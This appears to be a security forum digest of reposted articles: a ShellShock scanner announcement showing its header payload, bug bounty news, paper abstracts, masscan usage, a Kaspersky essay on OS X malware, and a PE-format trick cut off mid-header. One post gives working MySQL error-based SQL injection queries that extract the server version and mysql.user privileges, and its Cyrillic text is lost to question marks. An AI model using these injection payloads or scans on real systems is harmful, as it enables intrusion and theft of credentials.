Nytro

CrowdStrike ShellShock Scanner – New Community Tool The Tool Box 30 Sep 2014 Dmitri Alperovitch A large number of ShellShock online vulnerability scanners have been released since the bug disclosure on September 24. These tools can be great for scanning external web servers, however, just as we’ve seen with the Heartbleed scanners, there is a real unfilled need for a tool that can be easily used to scan for vulnerable internal systems, in addition to the external servers. While Unix gurus can fairly easily write scripts to accomplish this task, many prefer to have an easy to use Windows GUI tool to simplify the vulnerability assessment process. And so after once again having put Robin Keir, our toolbuilder extraordinaire, on the case, we are proud to announce CrowdStrike ShellShock Scanner as our latest free community tool. As with our Heartbleed scanner, the tool can import a list of IP ranges or website URLs to scan. Multiple port ranges can be selected and the results can be saved in CSV, HTML, XML or text format. Unfortunately network-based scanning for vulnerable ShellShock servers is nowhere as easy as identifying the Heartbleed servers since the triggering of execution of the bash shell is usually very specific to each application. Even to effectively scan HTTP servers, one needs to know the path to all of the CGI scripts that are dependent on bash and sometimes even the specific GET or POST parameters that need to be supplied to the script in order to trigger the vulnerability. We have preloaded the scanner with almost 400 common CGI paths that will be attemped during the full scan and have allowed the import of additional paths to test custom or less popular CGI applications. The scanner works by sending an HTTP GET request to each pre-configured CGI path of the scanned target with the following headers: Cookie: () { :; }; echo -e "\r\n\r\n<random string>" Referer: () { :; }; echo -e "\r\n\r\n<random string>" User-Agent: CrowdStrike ShellShock Scanner/1.0 Test: () { :; }; echo -e "\r\n\r\n<random string>" When the CGI script launches bash with the supplied environment parameters, it should trigger the execution of the echo command on a vulnerable system. With most scripts, the random string in the output of the echo command will be sent back in the body of the HTTP response, allowing the scanner to detect it and deem the system vulnerable. We deliberately picked the innocuous echo command as the one to execute by the scanner so as to minimize the chance of the scan doing anything harmful to the vulnerable target. Please note that even a full internal and external IP range scan of your network will not provide you with a complete assurance that you are not vulnerable to ShellShock. In addition to the limitations of scanning CGI applications, this scanner is not able to determine the vulnerability of SMTP servers or DHCP clients to the bug. Nor is it able to be used to test for privilege escalation vulnerabilities via SSH or on local Unix and OSX systems. It is still paramount that you apply patches across your entire population of systems that utilize bash shell as soon as possible. You can download CrowdStrike ShellShock Scanner here. Sursa: CrowdStrike ShellShock Scanner – New Community Tool | Adversary Manifesto

Cross-posted on the Chromium Blog We work hard to keep you safe online. In Chrome, for instance, we warn users against malware and phishing and offer rewards for finding security bugs. Due in part to our collaboration with the research community, we’ve squashed more than 700 Chrome security bugs and have rewarded more than $1.25 million through our bug reward program. But as Chrome has become more secure, it’s gotten even harder to find and exploit security bugs. This is a good problem to have! In recognition of the extra effort it takes to uncover vulnerabilities in Chrome, we’re increasing our reward levels. We’re also making some changes to be more transparent with researchers reporting a bug. First, we’re increasing our usual reward pricing range to $500-$15,000 per bug, up from a previous published maximum of $5,000. This is accompanied with a clear breakdown of likely reward amounts by bug type. As always, we reserve the right to reward above these levels for particularly great reports. (For example, last month we awarded $30,000 for a very impressive report.) Second, we’ll pay at the higher end of the range when researchers can provide an exploit to demonstrate a specific attack path against our users. Researchers now have an option to submit the vulnerability first and follow up with an exploit later. We believe that this a win-win situation for security and researchers: we get to patch bugs earlier and our contributors get to lay claim to the bugs sooner, lowering the chances of submitting a duplicate report. Third, Chrome reward recipients will be listed in the Google Hall of Fame, so you’ve got something to print out and hang on the fridge. As a special treat, we’re going to back-pay valid submissions from July 1, 2014 at the increased reward levels we’re announcing today. Good times. We’ve also answered some new FAQs on our rules page, including questions about our new Trusted Researcher program and a bit about our philosophy and alternative markets for zero-day bugs. Happy bug hunting! Sursa: Google Online Security Blog: Fewer bugs, mo’ money

Juan A. Garay Yahoo Labs garay@yahoo-inc.com Aggelos Kiayias University of Athens aggelos@di.uoa.gr Nikos Leonardos University of Athens nikos.leonardos@gmail.com September 30, 2014 Abstract Bitcoin is the first and most popular decentralized cryptocurrency to date. In this work, we extract and analyze the core of the Bitcoin protocol, which we term the Bitcoin backbone, and prove two of its fundamental properties which we call common prefix and chain quality. Our proofs hinge on appropriate and novel assumptions on the “hashing power” of the adversary relative to network synchronicity; our results are shown to be tight under high synchronization. Next, we propose and analyze applications that can be built “on top” of the backbone protocol, specifically focusing on Byzantine agreement (BA) and on the notion of a public transaction ledger. Regarding BA, we observe that Nakamoto’s suggestion falls short of solving it, and present a simple alternative which works assuming that the adversary’s hashing power is bounded by 1=3. The public transaction ledger captures the essence of Bitcoin’s operation as a cryptocurrency, in the sense that it guarantees the “liveness” and “persistence” of committed transactions. Based on this notion we describe and analyze the Bitcoin system as well as a more elaborate BA protocol, proving them secure assuming high network synchronicity and that the adversary’s hashing power is strictly less than 1=2, while the adversarial bound needed for security decreases as the network desynchronizes. Download: http://eprint.iacr.org/2014/765.pdf

Eugene Rodionov ESET, Canada Alexander Matrosov Intel, USA David Harley ESET North America, UK Email rodionov@eset.com; alexander.matrosov@ intel.com; david.harley.ic@eset.com ABSTRACT Bootkit threats have always been a powerful weapon in the hands of cybercriminals, allowing them to establish a persistent and stealthy presence in their victims’ systems. The most recent notable spike in bootkit infections was associated with attacks on 64-bit versions of the Microsoft Windows platform, which restrict the loading of unsigned kernel-mode drivers. However, these bootkits are not effective against UEFI-based platforms. So, are UEFI-based machines immune against bootkit threats (or would they be)? The aim of this presentation is to show how bootkit threats have evolved over time and what we should expect in the near future. First, we will summarize what we have learned about the bootkits seen in the wild targeting the Microsoft Windows platform: from TDL4 and Rovnix (the one used by the Carberp banking trojan) up to Gapz (which employs one of the stealthiest bootkit infection techniques seen so far). We will review their infection approaches and the methods they have employed to evade detection and removal from the system. Secondly, we will look at the security of the increasingly popular UEFI platform from the point of view of the bootkit author as UEFI becomes a target of choice for researchers in offensive security. Proof-of-concept bootkits targeting Windows 8 using UEFI have already been released. We will focus on various attack vectors against UEFI and discuss available tools and what measures should be taken to mitigate against them. Download: https://www.virusbtn.com/pdf/conference/vb2014/VB2014-RodionovMatrosovHarley.pdf

masscan is the fastest TCP port scanner. It can scan the entire Internet in under 6 minutes, transmitting 10 million packets per second. It produces results similar to nmap, the most famous port scanner. Internally, it operates more like scanrand, unicornscan, and ZMap, using asynchronous transmission. The major difference is that it’s faster than these other scanners. In addition, it’s more flexible, allowing arbitrary address ranges and port ranges. NOTE: masscan uses a custom TCP/IP stack. Anything other than simple port scans will cause conflict with the local TCP/IP stack. This means you need to either use the -S option to use a separate IP address, or configure your operating system to firewall the ports that masscan uses. PF_RING – Beyond 2 million packets/second To get beyond 2 million packets/second, you need an Intel 10-gbps Ethernet adapter and a special driver known as “PF_RING DNA” from PF_RING. Masscan doesn’t need to be rebuilt in order to use PF_RING. To use PF_RING, you need to build the following components: libpfring.so (installed in /usr/lib/libpfring.so) pf_ring.ko (their kernel driver) ixgbe.ko (their version of the Intel 10-gbps Ethernet driver) You don’t need to build their version of libpcap.so. When masscan detects that an adapter is named something like dna0 instead of something like eth0, it’ll automatically switch to PF_RING mode. Usage Usage is similar to nmap. To scan a network segment for some ports: # masscan -p80,8000-8100 10.0.0.0/8 [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 [/TD] [TD=class: crayon-code]# masscan -p80,8000-8100 10.0.0.0/8 [/TD] [/TR] [/TABLE] This will: scan the 10.x.x.x subnet, all 16 million addresses scans port 80 and the range 8000 to 8100, or 102 addresses total print output to that can be redirected to a file To see the complete list of options, use the –echo feature. This dumps the current configuration and exits. This output can be used as input back into the program: # masscan -p80,8000-8100 10.0.0.0/8 --echo > xxx.conf # masscan -c xxx.conf --rate 1000 [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 [/TD] [TD=class: crayon-code]# masscan -p80,8000-8100 10.0.0.0/8 --echo > xxx.conf # masscan -c xxx.conf --rate 1000 [/TD] [/TR] [/TABLE] Banner checking Masscan can do more than just detect whether ports are open. It can also complete the TCP connection and interaction with the application at that port in order to grab simple “banner” information. The problem with this is that masscan contains its own TCP/IP stack separate from the system you run it on. When the local system receives a SYN-ACK from the probed target, it responds with a RST packet that kills the connection before masscan can grab the banner. The easiest way to prevent this is to assign masscan a separate IP address. This would look like the following: # masscan 10.0.0.0/8 -p80 --banners --source-ip 192.168.1.200 [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 [/TD] [TD=class: crayon-code]# masscan 10.0.0.0/8 -p80 --banners --source-ip 192.168.1.200 [/TD] [/TR] [/TABLE] The address you choose has to be on the local subnet and not otherwise be used by another system. In some cases, such as WiFi, this isn’t possible. In those cases, you can firewall the port that masscan uses. This prevents the local TCP/IP stack from seeing the packet, but masscan still sees it since it bypasses the local stack. For Linux, this would look like: # iptables -A INPUT -p tcp --dport 60000 -j DROP # masscan 10.0.0.0/8 -p80 --banners --source-port 60000 [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 [/TD] [TD=class: crayon-code]# iptables -A INPUT -p tcp --dport 60000 -j DROP # masscan 10.0.0.0/8 -p80 --banners --source-port 60000 [/TD] [/TR] [/TABLE] On Mac OS X and BSD, it might look like this: # sudo ipfw add 1 deny tcp from any to any 60000 in # masscan 10.0.0.0/8 -p80 --banners --source-port 60000 [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 [/TD] [TD=class: crayon-code]# sudo ipfw add 1 deny tcp from any to any 60000 in # masscan 10.0.0.0/8 -p80 --banners --source-port 60000 [/TD] [/TR] [/TABLE] Windows doesn’t respond with RST packets, so neither of these techniques are necessary. However, masscan is still desigend to work best using its own IP address, so you should run that way when possible, even when its not strictly necessary. The same thing is needed for other checks, such as the –heartbleed check, which is just a form of banner checking. You can download masscan here: 1.0.3.zip Or read more here. Sursa: masscan - The Fastest TCP Port Scanner - Darknet - The Darkside

September 29, 2014 Eugene Kaspersky Is there any (Mac) OS X-specific malware around? Oh yes. But for some odd reason I haven’t said anything interesting on this topic for quite a while… The last time was two and a half years ago. Yes, that’s how long it’s been since the global Flashback worm outbreak that infected 700 thousand Macs worldwide. The security industry made quite a bit of noise about it (and quickly disabled the Flashback botnet), but since then – mostly silence… It might seem to some that ever since there’s been a complete lull on the Mac-malware front and not one bit of iMalware has disturbed Apple Bay’s calm waters… But they’d be wrong… Sure, if you compare the threat levels of picking up some malware on different platforms, at the top of the table, by a long way, as ever, is the most widely used platform – Microsoft Windows. Quite a way behind it is Android – a relatively new kid on the block. Yep, over the past three years the cyber-vermin has been seriously bombarding the poor little green robot with exponentially increasing levels of malicious activity. Meanwhile, in the world of iPhones and iPads, except for very rare cyber-espionage attacks, there have been hardly any successful attacks thereon (despite using various exotic methods). It’s a similar story with Macs too – things are relatively peaceful compared to other platforms; but of late there have been… stirrings – about which I’ll be talking in this post. Briefly, a few numbers – kinda like an executive summary: The numbers of new for-Mac malware instances detected in the last few years are already in the thousands; In the first eight months of 2014, 25 different ‘families’ of Mac malware were detected; The likelihood of an unprotected Mac becoming infected by some Mac-specific-unpleasantness has increased to about three percent. In 2013 alone @Kaspersky detected ~1700 malware samples for OS X Tweet Now, if you dig deeper and look at the situation from the inside, from the point of view of a malware expert, the picture is much less rosy… Mac-threats have evolved, the perception of security among Mac users has changed (but not too much), and the main question is what can we expect in the future? So here we go, without emotion, with just numbers and facts, for some unprejudiced analysis. And if you’re on for impartial, passionless discussion in the comments – please, be my guests! First up – frontline reports. So what’s been going on in the Mac-threat world in recent years? I’ll start off with the following graph. It shows the number of malicious files for OS X we’ve discovered over the years. As you can see from the graph, just four years ago the year’s ‘catch’ of maliciousness was just 50, but then in 2011 there was a sudden surge, and ever since the annual cull has been counted in the hundreds – almost thousands. So what exactly gets caught? Well, in the first eight months of this year we detected nearly a thousand unique attacks on Macs, grouped into 25 major families. A few words on the most interesting: Backdoor.OSX.Callme – spreads in the body of a specially crafted MS Word document, which when launched installs a backdoor in the system via a vulnerability. This gives the attacker remote access to the system. At the same time it steals contact lists, apparently to search for new victims. Backdoor.OSX.Laoshu – it takes screenshots once a minute. It was signed with a trusted certificate of the developer. It looks like the virus writers were planning on uploading it to the App Store. Backdoor.OSX.Ventir – a multi-modular Trojan-spy with hidden remote control. It contains a keylogger based on open sourced logkext driver. Trojan.OSX.IOSinfector – installer of the mobile version of Trojan-Spy.IPhoneOS.Mekir (OSX/Crisis) – yup, it infects iPhones. Trojan-Ransom.OSX.FileCoder– the first file encryptor for OS X. Only just working – a buggy prototype. Trojan-Spy.OSX.CoinStealer– the first bitcoin-stealing malware for OS X. Disguises itself as a few open source bitcoin utilities. What it really does is install a malicious browser extension and/or a patched version of bitcoin-qt (an open source utility for mining bitcoins). #malware for OS X you’ve never heard about (but might find on your Mac) Tweet At this point a logical deduction may be: ok, ok, there’s some malware for Macs these days, but is it really a significant threat to users? How likely is an infection on an unprotected Mac? And which is the most prevalent malicious program? Thanks to KSN, we’ve got the answer. But before analyzing the numbers, first, an important disclaimer: these data come exclusively from users of our products. Trying to work out how malware is spread globally, including among users of other security products and/or those with no antivirus – that’s both a thankless and very approximate task based on extrapolations from data from different sources. Nevertheless, it’s still worth digging into KSN data, if only to give us something to talk about by the water cooler . So, the top-20 detections of for-OS X malware for 2013–2014 (worldwide): [TABLE] [TR] [TD]Name[/TD] [TD=width: 302]Number of detections[/TD] [TD=width: 212]%[/TD] [/TR] [TR] [TD=width: 469]AdWare.OSX.Geonei.b[/TD] [TD=width: 302]56,271[/TD] [TD=width: 212]39.15[/TD] [/TR] [TR] [TD=width: 469]Trojan.OSX.Vsrch.a[/TD] [TD=width: 302]28,222[/TD] [TD=width: 212]19.63[/TD] [/TR] [TR] [TD=width: 469]AdWare.OSX.Geonei.d[/TD] [TD=width: 302]23,904[/TD] [TD=width: 212]16.63[/TD] [/TR] [TR] [TD=width: 469]Trojan.OSX.Yontoo.i[/TD] [TD=width: 302]7595[/TD] [TD=width: 212]5.28[/TD] [/TR] [TR] [TD=width: 469]AdWare.OSX.FkCodec.b[/TD] [TD=width: 302]6395[/TD] [TD=width: 212]4.45[/TD] [/TR] [TR] [TD=width: 469]Trojan.OSX.Yontoo.h[/TD] [TD=width: 302]3636[/TD] [TD=width: 212]2.53[/TD] [/TR] [TR] [TD=width: 469]Trojan.OSX.Yontoo.j[/TD] [TD=width: 302]3366[/TD] [TD=width: 212]2.34[/TD] [/TR] [TR] [TD=width: 469]AdWare.OSX.Geonei.c[/TD] [TD=width: 302]2889[/TD] [TD=width: 212]2.01[/TD] [/TR] [TR] [TD=width: 469]Trojan.OSX.Yontoo.a[/TD] [TD=width: 302]2079[/TD] [TD=width: 212]1.45[/TD] [/TR] [TR] [TD=width: 469]AdWare.OSX.Geonei.e[/TD] [TD=width: 302]1758[/TD] [TD=width: 212]1.22[/TD] [/TR] [TR] [TD=width: 469]Trojan.OSX.FakeCo.a[/TD] [TD=width: 302]1413[/TD] [TD=width: 212]0.98[/TD] [/TR] [TR] [TD=width: 469]Trojan.OSX.Okaz.a[/TD] [TD=width: 302]1126[/TD] [TD=width: 212]0.78[/TD] [/TR] [TR] [TD=width: 469]Trojan-Downloader.OSX.Vidsler.a[/TD] [TD=width: 302]868[/TD] [TD=width: 212]0.60[/TD] [/TR] [TR] [TD=width: 469]RemoteAdmin.OSX.AppleRDAdmin.c[/TD] [TD=width: 302]677[/TD] [TD=width: 212]0.47[/TD] [/TR] [TR] [TD=width: 469]AdWare.OSX.Bnodlero.a[/TD] [TD=width: 302]656[/TD] [TD=width: 212]0.46[/TD] [/TR] [TR] [TD=width: 469]Trojan.OSX.Yontoo.b[/TD] [TD=width: 302]633[/TD] [TD=width: 212]0.44[/TD] [/TR] [TR] [TD=width: 469]AdWare.OSX.FkCodec.a[/TD] [TD=width: 302]609[/TD] [TD=width: 212]0.42[/TD] [/TR] [TR] [TD=width: 469]Trojan-Downloader.OSX.FavDonw.c[/TD] [TD=width: 302]571[/TD] [TD=width: 212]0.40[/TD] [/TR] [TR] [TD=width: 469]AdWare.OSX.Geonei.a[/TD] [TD=width: 302]544[/TD] [TD=width: 212]0.38[/TD] [/TR] [TR] [TD=width: 469]Trojan.OSX.Yontoo.d[/TD] [TD=width: 302]533[/TD] [TD=width: 212]0.37[/TD] [/TR] [/TABLE] And here – the geography of iMalware for the same period: Now, if you look at the above data closely, you’ll see that about half of the detections are made up of adware, while two-thirds of all of them are made up of only the first three malicious programs. As to the geography of the distribution of iMalware, on the whole it matches the popularity of Macs themselves, i.e., with prevalence mostly in developed countries – where potential victims have the most money overall. Lastly, curiously, the famous Flashback is missing from the top-20. So what can we deduce from these data? First: cybercriminals find it easiest making money with mostly legal (well, almost legal) approaches. Persistent advertising also makes money, and coupled with large-scale infections – big money. Second: OS X virus writers are a fairly rare but sophisticated species. Unlike the Windows virus scene, the OS X virus scene bypassed the childish stage of ‘viruses for fun’ and went straight to the grown-up – Mac OS – stuff with all the attendant hardcore malware tricks that are necessary for it. These are serious folks, folks! It’s very likely they honed their skills on the Windows platform first, and then went over to Mac to conquer new, uncharted territory in search of new untapped money-making possibilities. After all, the money’s there, and the users are relatively blasé about security, which means there are plenty of opportunities – for those blackhatters who are willing to put in the work. The average sophistication level of OS X malware is much higher than that of Windows malware Third: professional espionage groups have really taken to exploiting OS X. Many APT attacks in the last few years acquired Mac-modules, for example Careto, Icefog, and the targeted attacks against Uyghur activists. Yes, here we’re talking pinpointed – exclusive as opposed to mass – attacks, aimed at specially chosen victims; this is why they don’t figure in the top-20. Not that they are any less dangerous; especially if your data may be interesting to intelligence agencies. Now let’s figure out the practical relevance of the above stats. Indeed, against the backdrop of the massive scale of disasters in the world of Windows, a hundred thousand detections in 18 months doesn’t look so bad, and might easily lead one to conclude that there really isn’t much of a threat at all. Well, there’s almost no threat. But does ‘almost no’ mean iUsers can relax and rely security-wise on Apple itself alone? In other words – not bother with protection at all? Read on… To understand here who’s paranoid and who’s not paranoid wrong , we again need to turn to KSN data. This time to consider the level of infestation – or the ratio of the number of protected Macs to the number of unique detections of Mac malware. Within the month of August, the chances of picking up an iNuisance were around 3%. Not so bad compared with the 21% chance of infection for Windows users (based on KSN data). Still, this translates to one iMalicious program taking a peek at an active Internet user’s Mac 10 times a year. Now things get even more interesting… First: iUsers are not only being targeted by iMalware. Some types of attacks don’t care what OS a comp has. For example, phishing and MITM attacks. And these happen to be very widespread threats. They’re most interested in users’ bank accounts, key web services used, and activity on social networks. Second: Macs are coming under attack from un-Mac-ish threats of another kind – those coming through holes in third-party software; for example, Java, Flash or Silverlight. This isn’t default software on a Mac, but still many users download and install it, so as to take full advantage of all the charms of the Web. It’s hard to say what the percentage likelihood of an attack would become if we take into account all common third-party software. But I think it’s safe to say it would increase several-fold. Mac-specific malware is not the only threat for Macs. There’s also phishing, MitM & 3rd party s/w vulns Tweet Third: well, this isn’t quite about malware threats. Antivirus software long ago stopped being a thing in the background that somehow unnoticeably saves us from this or that. Modern antivirus contains many other useful features that go far beyond the canonical concept of the software. For example, parental controls, password managers, Wi-Fi reliability checks, webcam blocking, and hundreds of other features. It’s true that for-Mac security products lag behind their PC-cousins in terms of functionality, but slowly and surely they’re catching up… And now for a bit of futurology… Two questions have been asked constantly by many for a long time: Why is there so little malware for Macs, and will things get worse? I have said many times that there are three essential conditions for the existence of malicious software on a particular platform: (i) the platform needs to have insecure architecture and thus vulnerabilities; (ii) it needs to be fairly widespread; and (iii) it needs to provide tools for third-party application development. OS X falters on item (ii) only. ‘Ha!’ says the knowledgeable reader. But there are now more than 80 million computers running Mac OS! Surely this is widespread enough? It might seem it. But then there are 1.5 billion Windows comps out there! I’ve written about the economics of the computer underground before on these blog-pages. There’s a basic rule that applies to all operating systems, and that includes OS X: For the cyber-scum there’s no sense in spending resources on trickier, less popular OS’s when before them are tens of millions of fertile Windows-based computers – some without antivirus, most never updated, and others with free – and holey – antivirus. Put another way – the pickings are too easy with Windows. Why try harder (with OS X)? What we should be looking at instead is where the critical mass might lie – where ‘minor’ (judging by their market share) OS’s like OS X become economically interesting. I’ve mentioned in the past that 5-7% of the global installed base should be the critical mass level. But that’s turned out to be too low. This year OS X has come up to close to 10%. Yet still there’s been no major change in the do-nothing little stance of the virus writers – only a few stirrings: clumsy, reluctant, and proof-of-concept stirrings. Source Extrapolating the trend, in three years Apple could take up 15 percent of the market. Will that be the trigger for a rapid flurry of development of iMalware? I don’t know. For a sharp increase – probably not. But an increase – for sure. Anyone have their own predictions on this? So what will happen when the market share of OS X finally reaches its critical mass? I think that first off there’ll be a few major epidemics with significant numbers of victims and significant monetary losses. Then there’ll be a chain reaction – virus writers will copy others, seeing how doable and profitable attacking OS X has become – and will switch en masse over to the platform. Another possible scenario could be things suddenly getting out of control through an APT attack against OS X; for example, a global outbreak caused by a bug undocumented feature of malware or a leak of the technology of an attack, its spread on the computer underground, and the appearance of loads of clones. The real situation with Mac security is difficult to estimate because most Mac users are still fully confident in the saintliness and infallibility of their favorite vendor. So what’s really going on on tens of millions of unprotected Macs is unknown. It’s pretty much like the underwater part of an iceberg. And sometimes this part brings unexpected and unpleasant (Titanic!) surprises like the Flashback worm in March 2012. But what malware is still there? What’s it doing? And who’s pulling the puppet strings – the usual cyber-crims, or white collar folks using hired programmers? All interesting questions, and we’re gradually going to find out the answers. But we need your help. We can’t save you forcibly. So take care of your own security by yourselves – at least take the first step and change your attitude to Mac protection! In the meantime, here are a few simple tips for how to maintain your Mac’s hygiene and keep it secure. A few simple tips for how to maintain your Mac’s hygiene and keep it secure Tweet That’s about it about Mac security discussion for now – but stay tuned. There’ll be more, soon, for sure, on this front – and ever more interesting… P.S. Wow, that was quick! The ‘more on this interesting front’ turned up sooner than I expected!… Researchers have found a massively serious vulnerability in Bash shell code, affecting Linux, UNIX, and – you guessed it – OS X. Patches are being hastily worked on, but so far there’s not been much progress. Let’s not forget that Unix is run on many industrial control systems and energy grids worldwide. Anyone remember Blaster? Back then Microsoft released a patch a month before the catastrophe… and by catastrophe I’m not hyberboling – it was a grandiose blackout of eastern USA. Sursa: The evolution of OS X malware | Nota Bene: Eugene Kaspersky's Official Blog

By spari earlier today, i got some spare time, and played a little with the function GeometryCollection(). basically, this function constructs geometry collection. sounds nice. but the interesting part is, we can only use it with adjusted function, like point(x,y). for example- mysql> SELECT GeometryCollection(point(53,12)); and output- +----+---------------------------+ |GeometryCollection(point(53,12))| |geometry(4294967295) | +----+---------------------------+ |??? ?? | +----+---------------------------+ as we can see, the output is some gibberish. now lets try it without POINT()- mysql> SELECT GeometryCollection(53,12); Error 1367 (22007): Illegal non geometric '53' value found during parsing wow, wait, what? we got an error on our x argument, 53. GeometryCollection() cant process this, because GeometryCollection() dont know how to recognize x,y. after i saw that, i thought "why stop here?", maybe i can play with this a little more. so, as expected () i tried to pull out the version, like that- PHP ???: mysql> SELECT GeometryCollection(a) from (select version()a)x; Error 1367 (22007): Illegal non geometric '`x`.`a`' value found during parsing mmm.. only possible to see the alias. not good enough. but wait, if we can see the alias, so maybe NAME_CONST() will do the trick? well, no. theoretically yes, but the problem is we cant call it. from here, the way to exploitation was really short- mysql>SELECT GeometryCollection((select*from(select*from(select@@version)f)x)); Error 1367 (22007): Illegal non geometric '(select `x`.`@@version` from (select '5.5.38-35.2' AS `@@version` from dual) `x`)' value found during parsing and we get a short, new error based, without spaces and commas. lets try pull out more stuff, maybe some columns from mysql.user- mysql>SELECT GeometryCollection((select*from(select*from(select group_concat(user,file_priv) from mysql.user)f)x)); Error 1367 (22007): Illegal non geometric '(select `x`.`group_concat(user,file_priv)` from (select 'localhostY,rootY' AS `group_concat(user,file_priv)` from dual) `x`)' value found during parsing hope i expand your mind comments will be nice. ??????? ?? ???????? ??? ?????????????? error-based ???????. ??? ????? ?????? ? ?????????? ????. ?? ????? ?? ??? ?????? ? ????? ?? ?????????? ???????????. ???? ??????, ?????? ???????????? ?? ?????? ???????????? ???? ?????? (?? ??????????? ??????): mysql> SELECT 18446744073709551610 * 2; ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551610 * 2)' mysql> SELECT -1 * 9223372036854775808; ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(-(1) * 9223372036854775808)' ? ?????? ????????? ??????? ???????, ?????? ??? ?????? ????????? ?? ?? ??????????, ??? ???????? ?????: mysql> SELECT 123 abc d; ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'd' at line 1 ? ?? ?????, ??-?? ???? ????? ????????? ??????????? ? ???????? ??????? ? ???????? ???, ??? ???????? ?? ???????: mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610, 18446744073709551610)); ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if((select '5.5' from dual),18446744073709551610,18446744073709551610))' // ?????: 452 ??????? ? ???? ??????: ???: mysql> SELECT 2 * if((SELECT * from (select * from test.shop) as `` limit 1)>(SELECT * from test.shop limit 1), 18446744073709551610, 18446744073709551610);ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if(((select `article`,`dealer`,`price` from (select `test`.`shop`.`article` AS `article`,`test`.`shop`.`dealer` AS `dealer`,`test`.`shop`.`price` AS `price` from `test`.`shop`) limit 1) > (select `test`.`shop`.`article`,`test`.`shop`.`dealer`,`test`.`shop`.`price` from `test`.`shop` limit 1)),18446744073709551610,18446744073709551610))' // ?????? ????? ??????? ? ??????? ? ??? ??????: ???: mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as `` limit 1) < (1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2), 18446744073709551610, 18446744073709551610); ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if(((select 'localhost','root','*','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','','','','0','0','0','0','','' from dual limit 1) < (1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),18446744073709551610,18446744073709551610))' // ??????? ?????? ?? ???? ??????? ????? Mai multe aici: https://rdot.org/forum/showthread.php?p=37133 Si aici: https://rdot.org/forum/showthread.php?t=3167

ontrast for Eclipse makes Contrast’s award winning security analysis technology available to Java developers via a fully integrated Eclipse Java IDE experience. It is a free, easy to use, and powerful application security tool that expertly pinpoints vulnerabilities such as SQL Injection and Cross-Site Scripting -- right at the source. Contrast for Eclipse features Automated detection of OWASP Top 10 vulnerabilities Transparent integration with the Eclipse IDE Detailed data flow analysis of the running application Vulnerability traceback in the source code Context sensitive expert security advice Contrast for Eclipse installs in minutes, requires no configuration, and tests your code against the OWASP Top 10. Get secure today! Visit www.contrastsecurity.com for more security solutions that help applications test themselves at any scale. Sursa: Contrast for Eclipse | Eclipse Plugins, Bundles and Products - Eclipse Marketplace

PE Trick #1: A Codeless PE Binary File That Runs Introduction One of the annoying things of my Windows Internals/Security research is when every single component and mechanism I’ve looked at in the last six months has ultimately resulted in me finding very interesting design bugs, which I must now wait on Microsoft to fix before being able to talk further about them. As such, I have to take a smaller break from kernel-specific research (although I hope to lift the veil over at least one issue at the No Such Conference in Paris this year). And so, in the next following few blog posts, probably inspired by having spent too much time talking with my friend Ange Albertini, I’ll be going over some neat PE tricks. Challenge Write a portable executable (PE/EXE) file which can be spawned through a standard CreateProcess call and will result in STATUS_SUCCESS being returned as well as a valid Process Handle, but will not Contain any actual x86/x64 assembly code section (i.e.: the whole PE should be read-only, no +X section) Run a single instruction of what could be construed as x86 assembly code, which is part of the file itself (i.e.: random R/O data should not somehow be forced into being executed as machine code) Crash or make any sort of interactive/visible notice to the user, event log entry, or other error condition. I nteresting, this was actually a real-world situation that I was asked to provide a solution for — not a mere mental exercise. The idea was being able to prove, in the court of law, that no “foreign” machine code had executed as a result of this executable file having been launched (i.e.: obviously the kernel ran some code, and the loader ran too, but all this is pre-existing Microsoft OS code). Yet, the PE file had to not only be valid, but to also return a valid process handle to the caller. Solution HEADER:00000000 ; IMAGE_DOS_HEADER HEADER:00000000 HEADER:00000000 .686p HEADER:00000000 .mmx HEADER:00000000 .model flat HEADER:00000000 HEADER:00000000 ; Segment type: Pure data HEADER:00000000 HEADER segment page public 'DATA' use32 HEADER:00000000 assume cs:HEADER HEADER:00000000 __ImageBase dw 5A4Dh ; PE magic number HEADER:00000002 dw 0 ; Bytes on last page of file HEADER:00000004 ; IMAGE_NT_HEADERS HEADER:00000004 dd 4550h ; Signature HEADER:00000008 ; IMAGE_FILE_HEADER HEADER:00000008 dw 14Ch ; Machine HEADER:0000000A dw 0 ; Number of sections HEADER:0000000C dd 0 ; Time stamp HEADER:00000010 dd 0 ; Pointer to symbol table HEADER:00000014 dd 0 ; Number of symbols HEADER:00000018 dw 0 ; Size of optional header HEADER:0000001A dw 2 ; Characteristics HEADER:0000001C ; IMAGE_OPTIONAL_HEADER HEADER:0000001C dw 10Bh ; Magic number HEADER:0000001E db 0 ; Major linker version HEADER:0000001F db 0 ; Minor linker version HEADER:00000020 dd 0 ; Size of code HEADER:00000024 dd 0 ; Size of initialized data HEADER:00000028 dd 0 ; Size of uninitialized data HEADER:0000002C dd 7FBE02F8h ; Address of entry point HEADER:00000030 dd 0 ; Base of code HEADER:00000034 dd 0 ; Base of data HEADER:00000038 dd 400000h ; Image base HEADER:0000003C dd 4 ; Section alignment HEADER:00000040 dd 4 ; File alignment HEADER:00000044 dw 0 ; Major operating system version HEADER:00000046 dw 0 ; Minor operating system version HEADER:00000048 dw 0 ; Major image version HEADER:0000004A dw 0 ; Minor image version HEADER:0000004C dw 4 ; Major subsystem version HEADER:0000004E dw 0 ; Minor subsystem version HEADER:00000050 dd 0 ; Reserved 1 HEADER:00000054 dd 40h ; Size 